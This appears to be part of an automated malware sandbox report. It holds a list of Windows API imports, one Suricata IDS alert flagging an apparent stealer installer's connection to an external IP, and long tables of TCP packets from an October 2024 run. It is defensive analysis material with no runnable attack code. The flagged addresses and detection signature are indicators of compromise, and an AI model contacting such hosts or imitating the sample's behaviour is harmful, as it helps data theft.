GetVersionExW, VirtualProtect, VirtualQuery, LoadLibraryExA, GetStringTypeW, LocalFree, LocalAlloc, SetUnhandledExceptionFilter, FileTimeToSystemTime, GetEnvironmentVariableW, GetSystemTime, GetDateFormatW, GetTimeFormatW, GetLocaleInfoW, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, FormatMessageW, GetEnvironmentStringsW, InitializeCriticalSectionEx, LoadLibraryA, GetModuleFileNameA, GetCurrentThread, GetConsoleOutputCP, FlushFileBuffers, Wow64DisableWow64FsRedirection, Wow64RevertWow64FsRedirection, IsWow64Process, SetConsoleTextAttribute, GetStdHandle, GetConsoleScreenBufferInfo, OutputDebugStringW, GetTickCount, GetCommandLineW, SetCurrentDirectoryW, SetEndOfFile, EnumResourceLanguagesW, GetSystemDefaultLangID, GetUserDefaultLangID, GetLocalTime, ResetEvent, GlobalFree, GetPrivateProfileStringW, GetPrivateProfileSectionNamesW, WritePrivateProfileStringW, CreateNamedPipeW, ConnectNamedPipe, TerminateThread, CompareFileTime, CopyFileExW, OpenEventW, PeekNamedPipe, WaitForSingleObjectEx, QueryPerformanceCounter, QueryPerformanceFrequency, EncodePointer, LCMapStringEx, CompareStringEx, GetCPInfo, GetSystemTimeAsFileTime, IsDebuggerPresent, InitializeSListHead, InterlockedPopEntrySList, InterlockedPushEntrySList, FlushInstructionCache, IsProcessorFeaturePresent, VirtualAlloc, VirtualFree, UnhandledExceptionFilter, TerminateProcess, GetStartupInfoW, RtlUnwind, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, ExitProcess, GetFileType, LCMapStringW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, GetConsoleMode, GetFileSizeEx, SetFilePointerEx, FindFirstFileExW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, ReadConsoleW, WriteConsoleW, GetProcessAffinityMask, GetModuleHandleA, GlobalMemoryStatus, ReleaseSemaphore, CreateSemaphoreW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T19:11:31.949011+0100	2829202	ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA	1	192.168.2.4	49734	104.21.8.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 19:11:22.868892908 CET	49675	443	192.168.2.4	173.222.162.32
Oct 28, 2024 19:11:31.052706957 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.052762985 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.052839994 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.069231033 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.069251060 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.074636936 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.074662924 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.074807882 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.084063053 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.084079027 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.695091009 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.695187092 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.733433962 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.733510017 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.736644983 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.736651897 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.736979961 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.748341084 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:31.753215075 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.753246069 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.754194975 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.754245043 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.758316040 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.795320034 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:31.803323984 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.949141979 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.949215889 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.949285030 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.949397087 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.949414015 CET	443	49734	104.21.8.139	192.168.2.4
Oct 28, 2024 19:11:31.949425936 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:31.949471951 CET	49734	443	192.168.2.4	104.21.8.139
Oct 28, 2024 19:11:32.031774998 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:32.031874895 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 19:11:32.031950951 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:32.043283939 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 19:11:35.927817106 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:35.927844048 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:35.927906990 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:35.929147005 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:35.929161072 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:35.941905022 CET	49672	443	192.168.2.4	173.222.162.32
Oct 28, 2024 19:11:35.941931009 CET	443	49672	173.222.162.32	192.168.2.4
Oct 28, 2024 19:11:37.156797886 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:37.156864882 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:37.164716005 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:37.164758921 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:37.165143967 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:37.212716103 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.498069048 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.539371014 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857027054 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857063055 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857072115 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857139111 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.857168913 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857220888 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857268095 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.857299089 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.857299089 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.857331038 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.857968092 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.858052015 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.858068943 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.900993109 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:38.969635963 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.969712019 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:11:38.969784975 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:39.343992949 CET	49723	80	192.168.2.4	199.232.214.172
Oct 28, 2024 19:11:39.350737095 CET	80	49723	199.232.214.172	192.168.2.4
Oct 28, 2024 19:11:39.350802898 CET	49723	80	192.168.2.4	199.232.214.172
Oct 28, 2024 19:11:39.742330074 CET	49736	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:11:39.742403984 CET	443	49736	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:02.525732040 CET	49730	80	192.168.2.4	151.101.130.133
Oct 28, 2024 19:12:02.525732994 CET	49731	80	192.168.2.4	151.101.194.133
Oct 28, 2024 19:12:02.532816887 CET	80	49730	151.101.130.133	192.168.2.4
Oct 28, 2024 19:12:02.532880068 CET	49730	80	192.168.2.4	151.101.130.133
Oct 28, 2024 19:12:02.532902002 CET	80	49731	151.101.194.133	192.168.2.4
Oct 28, 2024 19:12:02.532944918 CET	49731	80	192.168.2.4	151.101.194.133
Oct 28, 2024 19:12:15.743755102 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:15.743803024 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:15.743875027 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:15.744364977 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:15.744391918 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.594110966 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.594294071 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.596540928 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.596561909 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.596957922 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.610161066 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.655333996 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.812819004 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:16.812926054 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:16.813008070 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:16.813482046 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:16.813519001 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:16.831598043 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.831655979 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.831698895 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.831732035 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.831759930 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.831779003 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.831804991 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.880980015 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.881057024 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.881062031 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.881089926 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.881118059 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.881134987 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.994734049 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.994805098 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.994832993 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.994863987 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.994882107 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.994900942 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.997961044 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.998011112 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.998027086 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.998044968 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.998061895 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.998081923 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.999424934 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.999448061 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.999479055 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.999490023 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:16.999512911 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:16.999537945 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.114449024 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.114483118 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.114552021 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.114567995 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.114613056 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.115669012 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.115696907 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.115742922 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.115753889 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.115776062 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.115797997 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.185765028 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.185794115 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.185847998 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.185873985 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.185897112 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.185911894 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.232441902 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.232474089 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.232558966 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.232578993 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.232619047 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.234147072 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.234175920 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.234210968 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.234225035 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.234252930 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.234271049 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.288017035 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.302875996 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.302905083 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.302963972 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.302979946 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.303008080 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.303025961 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.350285053 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.350313902 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.350387096 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.350409031 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.350426912 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.350435972 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.351258993 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.351286888 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.351329088 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.351342916 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.351367950 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.351386070 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.352096081 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.352159977 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.352169991 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.352188110 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.352210999 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.352237940 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.386652946 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.386684895 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.386703968 CET	49754	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.386712074 CET	443	49754	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.514087915 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.514134884 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.514218092 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.515413046 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.515450954 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.515508890 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.515897989 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.515937090 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.515996933 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.516016006 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.516025066 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.516067982 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.516967058 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.516997099 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.517028093 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517038107 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.517052889 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517265081 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517287970 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.517379045 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517416954 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.517426968 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517436028 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.517493963 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:17.517505884 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:17.883219004 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:17.883291960 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:17.885864019 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:17.885874987 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:17.886127949 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:17.895076036 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:17.935339928 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.249808073 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.249828100 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.249840975 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.249963999 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.249988079 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.250077009 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.251252890 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.251295090 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.251324892 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.251331091 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.251348972 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.266568899 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.267106056 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.267116070 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.267616034 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.267621994 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.274094105 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.274393082 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.274430037 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.274796963 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.274810076 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.275563955 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.275578022 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.275599957 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.275698900 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.275728941 CET	443	49755	4.245.163.56	192.168.2.4
Oct 28, 2024 19:12:18.275777102 CET	49755	443	192.168.2.4	4.245.163.56
Oct 28, 2024 19:12:18.276561022 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.276860952 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.276870966 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.277272940 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.277276993 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.281913042 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.282556057 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.282566071 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.283119917 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.283126116 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.295546055 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.295945883 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.295970917 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.296401024 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.296411991 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653343916 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653506041 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653506041 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653526068 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653557062 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.653584957 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653614044 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653650999 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.653651953 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.653666973 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.653728962 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.653881073 CET	49760	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.653897047 CET	443	49760	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654174089 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.654174089 CET	49757	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.654191971 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654196978 CET	443	49757	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654417992 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654472113 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654531002 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.654541016 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654608011 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654680967 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.654773951 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654833078 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654891968 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.654917955 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654964924 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.654982090 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655016899 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655272961 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655273914 CET	49759	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655278921 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.655286074 CET	443	49759	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.655694962 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655695915 CET	49756	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.655725002 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.655750990 CET	443	49756	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.656407118 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.656407118 CET	49758	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.656420946 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.656440973 CET	443	49758	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.658950090 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.658968925 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.659040928 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.660482883 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.660537004 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.660590887 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.661351919 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.661379099 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.661474943 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.661521912 CET	49762	443	192.168.2.4	13.107.253.45
